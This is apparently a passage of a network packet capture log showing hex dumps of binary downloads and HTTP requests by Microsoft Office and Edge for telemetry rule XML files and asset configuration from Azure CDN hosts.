2024-11-18 03:41:34 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-18 03:41:34 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-18 03:41:34 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-18 03:41:34 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-18 03:41:34 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-18 03:41:34 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-18 03:41:34 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-18 03:41:34 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:33 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: d8d0956f-c01e-008e-627d-377381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034134Z-164f84587bf6n6jwhC1DFW90fn00000004g000000000591t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:34 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:33 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:34 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034134Z-16547b76f7f5b5tthC1DFWuk8400000003yg000000002be5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:34 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:35 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 90e9dbbe-d01e-0028-1506-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034135Z-164f84587bfh9nvdhC1DFWmce0000000032000000000r55r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:34 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:34 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: d62d9096-801e-0048-06af-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034134Z-16547b76f7f7zzl8hC1DFWmtag000000044000000000c4ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:34 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:34 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:34 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:34 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 258ea299-f01e-0096-72c4-3710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034134Z-16547b76f7fljddfhC1DFWeqbs000000064g000000004r2x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:34 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49894	13.107.246.57	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:34 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:35 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: da125066-d01e-006e-186b-39c12e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T034134Z-164f84587bfdfkt7hC1DFW4fas000000036000000000k53q Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	15821	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-18 03:41:35 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
